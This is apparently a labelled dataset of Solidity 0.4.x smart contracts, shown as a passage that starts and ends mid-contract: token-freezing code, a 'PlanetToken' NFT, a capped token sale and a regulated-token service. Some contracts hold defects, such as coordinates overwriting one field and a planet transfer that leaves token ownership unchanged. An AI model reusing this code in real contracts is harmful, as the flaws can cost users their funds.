function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "NutriLife";
string public constant TOKEN_SYMBOL = "NLC";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x7A72911D42387d01D7396542fE8b4cF2e84F9B35;
uint public constant START_TIME = 1550239740;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 1 | 2,978 |
pragma solidity ^0.4.18;
contract Ownable
{
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract NFT
{
function totalSupply() public constant returns (uint);
function balanceOf(address) public constant returns (uint);
function tokenOfOwnerByIndex(address owner, uint index) public constant returns (uint);
function ownerOf(uint tokenId) public constant returns (address);
function transfer(address to, uint tokenId) public;
function takeOwnership(uint tokenId) public;
function approve(address beneficiary, uint tokenId) public;
function metadata(uint tokenId) public constant returns (string);
}
contract NFTEvents
{
event TokenCreated(uint tokenId, address owner, string metadata);
event TokenDestroyed(uint tokenId, address owner);
event TokenTransferred(uint tokenId, address from, address to);
event TokenTransferAllowed(uint tokenId, address beneficiary);
event TokenTransferDisallowed(uint tokenId, address beneficiary);
event TokenMetadataUpdated(uint tokenId, address owner, string data);
}
contract BasicNFT is NFT, NFTEvents
{
uint public totalTokens;
mapping(address => uint[]) public ownedTokens;
mapping(address => uint) _virtualLength;
mapping(uint => uint) _tokenIndexInOwnerArray;
mapping(uint => address) public tokenOwner;
mapping(uint => address) public allowedTransfer;
mapping(uint => string) public tokenMetadata;
function totalSupply() public constant returns (uint)
{
return totalTokens;
}
function balanceOf(address owner) public constant returns (uint)
{
return _virtualLength[owner];
}
function tokenOfOwnerByIndex(address owner, uint index) public constant returns (uint)
{
require(index >= 0 && index < balanceOf(owner));
return ownedTokens[owner][index];
}
function getAllTokens(address owner) public constant returns (uint[])
{
uint size = _virtualLength[owner];
uint[] memory result = new uint[](size);
for (uint i = 0; i < size; i++) {
result[i] = ownedTokens[owner][i];
}
return result;
}
function ownerOf(uint tokenId) public constant returns (address)
{
return tokenOwner[tokenId];
}
function transfer(address to, uint tokenId) public
{
require(tokenOwner[tokenId] == msg.sender || allowedTransfer[tokenId] == msg.sender);
_transfer(tokenOwner[tokenId], to, tokenId);
}
function takeOwnership(uint tokenId) public
{
require(allowedTransfer[tokenId] == msg.sender);
_transfer(tokenOwner[tokenId], msg.sender, tokenId);
}
function approve(address beneficiary, uint tokenId) public
{
require(msg.sender == tokenOwner[tokenId]);
if (allowedTransfer[tokenId] != 0)
{
allowedTransfer[tokenId] = 0;
TokenTransferDisallowed(tokenId, allowedTransfer[tokenId]);
}
allowedTransfer[tokenId] = beneficiary;
TokenTransferAllowed(tokenId, beneficiary);
}
function metadata(uint tokenId) constant public returns (string)
{
return tokenMetadata[tokenId];
}
function updateTokenMetadata(uint tokenId, string _metadata) internal returns(bool)
{
require(msg.sender == tokenOwner[tokenId]);
tokenMetadata[tokenId] = _metadata;
TokenMetadataUpdated(tokenId, msg.sender, _metadata);
return true;
}
function _transfer(address from, address to, uint tokenId) internal returns(bool)
{
allowedTransfer[tokenId] = 0;
_removeTokenFrom(from, tokenId);
_addTokenTo(to, tokenId);
TokenTransferred(tokenId, from, to);
return true;
}
function _removeTokenFrom(address from, uint tokenId) internal
{
require(_virtualLength[from] > 0);
uint length = _virtualLength[from];
uint index = _tokenIndexInOwnerArray[tokenId];
uint swapToken = ownedTokens[from][length - 1];
ownedTokens[from][index] = swapToken;
_tokenIndexInOwnerArray[swapToken] = index;
_virtualLength[from]--;
}
function _addTokenTo(address owner, uint tokenId) internal
{
if (ownedTokens[owner].length == _virtualLength[owner])
{
ownedTokens[owner].push(tokenId);
}
else
{
ownedTokens[owner][_virtualLength[owner]] = tokenId;
}
tokenOwner[tokenId] = owner;
_tokenIndexInOwnerArray[tokenId] = _virtualLength[owner];
_virtualLength[owner]++;
}
}
contract PlanetToken is Ownable, BasicNFT
{
string public name = 'Planet Tokens';
string public symbol = 'PT';
mapping (uint => uint) public cordX;
mapping (uint => uint) public cordY;
mapping (uint => uint) public cordZ;
mapping (uint => uint) public lifeD;
mapping (uint => uint) public lifeN;
mapping (uint => uint) public lifeA;
mapping (uint => uint) public latestPing;
struct planet
{
uint x;
uint y;
uint z;
string name;
address owner;
string liason;
string url;
uint cost;
uint index;
}
struct _donations
{
uint start;
uint genesis;
uint interval;
uint ppp;
uint amount;
uint checkpoint;
}
mapping(uint => planet) planets;
mapping(address => _donations) donations;
string private universe;
uint private min_donation;
address private donation_address;
uint private coordinate_limit;
event TokenPing(uint tokenId);
function () public payable
{
donation_address.transfer(msg.value);
}
function PlanetToken(string UniverseName, uint CoordinateLimit, address DonationAddress, uint StartingWeiDonation, uint BlockIntervals, uint WeiPerPlanet) public
{
universe = UniverseName;
min_donation = StartingWeiDonation;
coordinate_limit = CoordinateLimit;
donation_address = DonationAddress;
donations[donation_address].start = min_donation;
donations[donation_address].genesis = block.number;
donations[donation_address].checkpoint = block.number;
donations[donation_address].interval = BlockIntervals;
donations[donation_address].ppp = WeiPerPlanet;
donations[donation_address].amount = min_donation;
}
function assignNewPlanet(address beneficiary, uint x, uint y, uint z, string _planetName, string liason, string url) public payable
{
uint MinimumDonation = donations[donation_address].amount;
require(tokenOwner[buildTokenId(x, y, z)] == 0);
require(msg.value >= MinimumDonation);
require(x <= coordinate_limit);
require(y <= coordinate_limit);
require(z <= coordinate_limit);
latestPing[buildTokenId(x, y, z)] = now;
_addTokenTo(beneficiary, buildTokenId(x, y, z));
totalTokens++;
tokenMetadata[buildTokenId(x, y, z)] = _planetName;
cordX[buildTokenId(x, y, z)] = x;
cordY[buildTokenId(x, y, z)] = y;
cordZ[buildTokenId(x, y, z)] = z;
lifeD[buildTokenId(x, y, z)] = uint256(keccak256(x, '|x|', msg.sender, '|', universe));
lifeN[buildTokenId(x, y, z)] = uint256(keccak256(y, '|y|', msg.sender, '|', universe));
lifeA[buildTokenId(x, y, z)] = uint256(keccak256(z, '|z|', msg.sender, '|', universe));
planets[buildTokenId(x, y, z)].x = x;
planets[buildTokenId(x, y, z)].x = y;
planets[buildTokenId(x, y, z)].x = z;
planets[buildTokenId(x, y, z)].name = _planetName;
planets[buildTokenId(x, y, z)].owner = beneficiary;
planets[buildTokenId(x, y, z)].liason = liason;
planets[buildTokenId(x, y, z)].url = url;
planets[buildTokenId(x, y, z)].index = totalTokens - 1;
planets[buildTokenId(x, y, z)].cost = msg.value;
TokenCreated(buildTokenId(x, y, z), beneficiary, _planetName);
donation_address.transfer(msg.value);
uint this_block = block.number;
uint new_checkpoint = donations[donation_address].checkpoint + donations[donation_address].interval;
if(this_block > new_checkpoint)
{
donations[donation_address].checkpoint = this_block;
donations[donation_address].amount = donations[donation_address].ppp * totalTokens;
}
}
function MinimumDonation() public view returns(uint)
{
return donations[donation_address].amount;
}
function BlocksToGo() public view returns(uint)
{
uint this_block = block.number;
uint next_block = donations[donation_address].checkpoint + donations[donation_address].interval;
if(this_block < next_block)
{
return next_block - this_block;
}
else
{
return 0;
}
}
function GetLiasonName(uint x, uint y, uint z) public view returns(string)
{
return planets[buildTokenId(x, y, z)].liason;
}
function GetLiasonURL(uint x, uint y, uint z) public view returns(string)
{
return planets[buildTokenId(x, y, z)].url;
}
function GetIndex(uint x, uint y, uint z) public view returns(uint)
{
return planets[buildTokenId(x, y, z)].index;
}
function GetCost(uint x, uint y, uint z) public view returns(uint)
{
return planets[buildTokenId(x, y, z)].cost;
}
function UpdatedDonationAddress(address NewAddress) onlyOwner public
{
address OldAddress = donation_address;
donation_address = NewAddress;
donations[donation_address].start = donations[OldAddress].start;
donations[donation_address].genesis = donations[OldAddress].genesis;
donations[donation_address].checkpoint = donations[OldAddress].checkpoint;
donations[donation_address].interval = donations[OldAddress].interval;
donations[donation_address].ppp = donations[OldAddress].ppp;
donations[donation_address].amount = donations[OldAddress].amount;
}
function ping(uint tokenId) public
{
require(msg.sender == tokenOwner[tokenId]);
latestPing[tokenId] = now;
TokenPing(tokenId);
}
function buildTokenId(uint x, uint y, uint z) public view returns (uint256)
{
return uint256(keccak256(x, '|', y, '|', z, '|', universe));
}
function exists(uint x, uint y, uint z) public constant returns (bool)
{
return ownerOfPlanet(x, y, z) != 0;
}
function ownerOfPlanet(uint x, uint y, uint z) public constant returns (address)
{
return tokenOwner[buildTokenId(x, y, z)];
}
function transferPlanet(address to, uint x, uint y, uint z) public
{
require(msg.sender == tokenOwner[buildTokenId(x, y, z)]);
planets[buildTokenId(x, y, z)].owner = to;
}
function planetName(uint x, uint y, uint z) constant public returns (string)
{
return tokenMetadata[buildTokenId(x, y, z)];
}
function planetCordinates(uint tokenId) public constant returns (uint[])
{
uint[] memory data = new uint[](3);
data[0] = cordX[tokenId];
data[1] = cordY[tokenId];
data[2] = cordZ[tokenId];
return data;
}
function planetLife(uint x, uint y, uint z) constant public returns (uint[])
{
uint[] memory dna = new uint[](3);
dna[0] = lifeD[buildTokenId(x, y, z)];
dna[1] = lifeN[buildTokenId(x, y, z)];
dna[2] = lifeA[buildTokenId(x, y, z)];
return dna;
}
function updatePlanetName(uint x, uint y, uint z, string _planetName) public
{
if(updateTokenMetadata(buildTokenId(x, y, z), _planetName))
{
planets[buildTokenId(x, y, z)].name = _planetName;
}
}
function updatePlanetLiason(uint x, uint y, uint z, string LiasonName) public
{
require(msg.sender == tokenOwner[buildTokenId(x, y, z)]);
planets[buildTokenId(x, y, z)].liason = LiasonName;
}
function updatePlanetURL(uint x, uint y, uint z, string LiasonURL) public
{
require(msg.sender == tokenOwner[buildTokenId(x, y, z)]);
planets[buildTokenId(x, y, z)].url = LiasonURL;
}
} | 1 | 3,841 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract StandardToken {
mapping (address => mapping (address => uint256)) internal allowed;
using SafeMath for uint256;
uint256 public totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(balances[msg.sender] >= _value && balances[_to].add(_value) >= balances[_to]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Token0xC is StandardToken, Ownable {
using SafeMath for uint256;
string public constant name = "0xC";
string public constant symbol = "0xC";
uint8 public constant decimals = 18;
uint256 public startDate1;
uint256 public endDate1;
uint256 public rate1;
uint256 public startDate2;
uint256 public endDate2;
uint256 public rate2;
uint256 public startDate3;
uint256 public endDate3;
uint256 public rate3;
uint256 BaseTimestamp = 1534377600;
uint256 public dailyCap;
uint256 public saleCap;
uint256 public LastbetDay;
uint256 public LeftDailyCap;
uint256 public EtheLowLimit = 500000000000000000;
address public tokenWallet;
address public fundWallet;
event TokenPurchase(address indexed purchaser, uint256 value, uint256 amount);
event TransferToken(address indexed buyer, uint256 amount);
modifier uninitialized() {
require(tokenWallet == 0x0);
require(fundWallet == 0x0);
_;
}
constructor() public {}
function () public payable {
buyTokens(msg.sender, msg.value);
}
function initialize(address _tokenWallet, address _fundWallet, uint256 _start1, uint256 _end1,
uint256 _dailyCap, uint256 _saleCap, uint256 _totalSupply) public
onlyOwner uninitialized {
require(_start1 < _end1);
require(_tokenWallet != 0x0);
require(_fundWallet != 0x0);
require(_totalSupply >= _saleCap);
startDate1 = _start1;
endDate1 = _end1;
saleCap = _saleCap;
dailyCap = _dailyCap;
tokenWallet = _tokenWallet;
fundWallet = _fundWallet;
totalSupply = _totalSupply;
balances[tokenWallet] = saleCap;
balances[0xb1] = _totalSupply.sub(saleCap);
}
function setPeriod(uint256 period, uint256 _start, uint256 _end) public onlyOwner {
require(_end > _start);
if (period == 1) {
startDate1 = _start;
endDate1 = _end;
}else if (period == 2) {
require(_start > endDate1);
startDate2 = _start;
endDate2 = _end;
}else if (period == 3) {
require(_start > endDate2);
startDate3 = _start;
endDate3 = _end;
}
}
function setPeriodRate(uint256 _period, uint256 _rate) public onlyOwner {
if (_period == 1) {
rate1 = _rate;
}else if (_period == 2) {
rate2 = _rate;
}else if (_period == 3) {
rate3 = _rate;
}
}
function transferToken(address _to, uint256 amount) public onlyOwner {
require(saleCap >= amount,' Not Enough' );
require(_to != address(0));
require(_to != tokenWallet);
require(amount <= balances[tokenWallet]);
saleCap = saleCap.sub(amount);
balances[tokenWallet] = balances[tokenWallet].sub(amount);
balances[_to] = balances[_to].add(amount);
emit TransferToken(_to, amount);
emit Transfer(tokenWallet, _to, amount);
}
function setDailyCap(uint256 _dailyCap) public onlyOwner{
dailyCap = _dailyCap;
}
function setSaleLimit(uint256 _etherLimit) public onlyOwner{
EtheLowLimit = _etherLimit;
}
function setSaleCap(uint256 _saleCap) public onlyOwner {
require(balances[0xb1].add(balances[tokenWallet]).sub(_saleCap) >= 0);
uint256 amount = 0;
if (balances[tokenWallet] > _saleCap) {
amount = balances[tokenWallet].sub(_saleCap);
balances[0xb1] = balances[0xb1].add(amount);
} else {
amount = _saleCap.sub(balances[tokenWallet]);
balances[0xb1] = balances[0xb1].sub(amount);
}
balances[tokenWallet] = _saleCap;
saleCap = _saleCap;
}
function getBonusByTime() public constant returns (uint256) {
if (now < startDate1) {
return 0;
} else if (endDate1 > now && now > startDate1) {
return rate1;
} else if (endDate2 > now && now > startDate2) {
return rate2;
} else if (endDate3 > now && now > startDate3) {
return rate3;
} else {
return 0;
}
}
function finalize() public onlyOwner {
require(!saleActive());
balances[tokenWallet] = balances[tokenWallet].add(balances[0xb1]);
balances[0xb1] = 0;
}
function DateConverter(uint256 ts) public view returns(uint256 currentDayWithoutTime){
uint256 dayInterval = ts.sub(BaseTimestamp);
uint256 dayCount = dayInterval.div(86400);
return BaseTimestamp.add(dayCount.mul(86400));
}
function saleActive() public constant returns (bool) {
return (
(now >= startDate1 &&
now < endDate1 && saleCap > 0) ||
(now >= startDate2 &&
now < endDate2 && saleCap > 0) ||
(now >= startDate3 &&
now < endDate3 && saleCap > 0)
);
}
function buyTokens(address sender, uint256 value) internal {
require(saleActive());
require(value >= EtheLowLimit);
require(sender != tokenWallet);
if(DateConverter(now) > LastbetDay )
{
LastbetDay = DateConverter(now);
LeftDailyCap = dailyCap;
}
uint256 bonus = getBonusByTime();
uint256 amount = value.mul(bonus);
require(LeftDailyCap >= amount, "cap not enough");
require(balances[tokenWallet] >= amount);
LeftDailyCap = LeftDailyCap.sub(amount);
balances[tokenWallet] = balances[tokenWallet].sub(amount);
balances[sender] = balances[sender].add(amount);
emit TokenPurchase(sender, value, amount);
emit Transfer(tokenWallet, sender, amount);
saleCap = saleCap.sub(amount);
fundWallet.transfer(msg.value);
}
} | 1 | 2,906 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
pragma solidity ^0.4.24;
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
pragma solidity ^0.4.24;
contract ERC1404 is ERC20 {
function detectTransferRestriction (address from, address to, uint256 value) public view returns (uint8);
function messageForTransferRestriction (uint8 restrictionCode) public view returns (string);
}
pragma solidity ^0.4.24;
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
pragma solidity ^0.4.24;
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
pragma solidity ^0.4.24;
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
pragma solidity ^0.4.24;
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
pragma solidity ^0.4.24;
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
pragma solidity ^0.4.24;
contract ServiceRegistry is Ownable {
address public service;
event ReplaceService(address oldService, address newService);
modifier withContract(address _addr) {
uint length;
assembly { length := extcodesize(_addr) }
require(length > 0);
_;
}
constructor(address _service) public {
service = _service;
}
function replaceService(address _service) onlyOwner withContract(_service) public {
address oldService = service;
service = _service;
emit ReplaceService(oldService, service);
}
}
pragma solidity ^0.4.24;
contract RegulatorServiceI {
function check(address _token, address _spender, address _from, address _to, uint256 _amount) public returns (uint8);
}
pragma solidity ^0.4.18;
contract RegulatorService is RegulatorServiceI, Ownable {
modifier onlyAdmins() {
require(msg.sender == admin || msg.sender == owner);
_;
}
struct Settings {
bool locked;
bool partialTransfers;
mapping(address => uint256) holdingPeriod;
}
uint256 constant private YEAR = 1 years;
uint8 constant private CHECK_SUCCESS = 0;
string constant private SUCCESS_MESSAGE = 'Success';
uint8 constant private CHECK_ELOCKED = 1;
string constant private ELOCKED_MESSAGE = 'Token is locked';
uint8 constant private CHECK_EDIVIS = 2;
string constant private EDIVIS_MESSAGE = 'Token can not trade partial amounts';
uint8 constant private CHECK_ESEND = 3;
string constant private ESEND_MESSAGE = 'Sender is not allowed to send the token';
uint8 constant private CHECK_ERECV = 4;
string constant private ERECV_MESSAGE = 'Receiver is not allowed to receive the token';
uint8 constant private CHECK_EHOLDING_PERIOD = 5;
string constant private EHOLDING_PERIOD_MESSAGE = 'Sender is still in 12 months holding period';
uint8 constant private CHECK_EDECIMALS = 6;
string constant private EDECIMALS_MESSAGE = 'Transfer value must be bigger than MINIMAL_TRANSFER';
uint256 constant public MINIMAL_TRANSFER = 1 wei;
uint8 constant private PERM_SEND = 0x1;
uint8 constant private PERM_RECEIVE = 0x2;
address public admin;
mapping(address => Settings) private settings;
mapping(address => mapping(address => uint8)) private participants;
event LogLockSet(address indexed token, bool locked);
event LogPartialTransferSet(address indexed token, bool enabled);
event LogPermissionSet(address indexed token, address indexed participant, uint8 permission);
event LogTransferAdmin(address indexed oldAdmin, address indexed newAdmin);
event LogHoldingPeriod(
address indexed _token, address indexed _participant, uint256 _startDate);
constructor() public {
admin = msg.sender;
}
function setLocked(address _token, bool _locked) onlyOwner public {
settings[_token].locked = _locked;
emit LogLockSet(_token, _locked);
}
function setPartialTransfers(address _token, bool _enabled) onlyOwner public {
settings[_token].partialTransfers = _enabled;
emit LogPartialTransferSet(_token, _enabled);
}
function setPermission(address _token, address _participant, uint8 _permission) onlyAdmins public {
participants[_token][_participant] = _permission;
emit LogPermissionSet(_token, _participant, _permission);
}
function setHoldingPeriod(address _token, address _participant, uint256 _startDate) onlyAdmins public {
settings[_token].holdingPeriod[_participant] = _startDate;
emit LogHoldingPeriod(_token, _participant, _startDate);
}
function transferAdmin(address newAdmin) onlyOwner public {
require(newAdmin != address(0));
address oldAdmin = admin;
admin = newAdmin;
emit LogTransferAdmin(oldAdmin, newAdmin);
}
function check(address _token, address _spender, address _from, address _to, uint256 _amount) public returns (uint8) {
if (settings[_token].locked) {
return CHECK_ELOCKED;
}
if (participants[_token][_from] & PERM_SEND == 0) {
return CHECK_ESEND;
}
if (participants[_token][_to] & PERM_RECEIVE == 0) {
return CHECK_ERECV;
}
if (!settings[_token].partialTransfers && _amount % _wholeToken(_token) != 0) {
return CHECK_EDIVIS;
}
if (settings[_token].holdingPeriod[_from] + YEAR >= now) {
return CHECK_EHOLDING_PERIOD;
}
if (_amount < MINIMAL_TRANSFER) {
return CHECK_EDECIMALS;
}
return CHECK_SUCCESS;
}
function messageForReason (uint8 _reason) public pure returns (string) {
if (_reason == CHECK_ELOCKED) {
return ELOCKED_MESSAGE;
}
if (_reason == CHECK_ESEND) {
return ESEND_MESSAGE;
}
if (_reason == CHECK_ERECV) {
return ERECV_MESSAGE;
}
if (_reason == CHECK_EDIVIS) {
return EDIVIS_MESSAGE;
}
if (_reason == CHECK_EHOLDING_PERIOD) {
return EHOLDING_PERIOD_MESSAGE;
}
if (_reason == CHECK_EDECIMALS) {
return EDECIMALS_MESSAGE;
}
return SUCCESS_MESSAGE;
}
function _wholeToken(address _token) view private returns (uint256) {
return uint256(10)**DetailedERC20(_token).decimals();
}
}
pragma solidity ^0.4.24;
contract RegulatedToken is DetailedERC20, MintableToken, BurnableToken {
uint8 constant public RTOKEN_DECIMALS = 18;
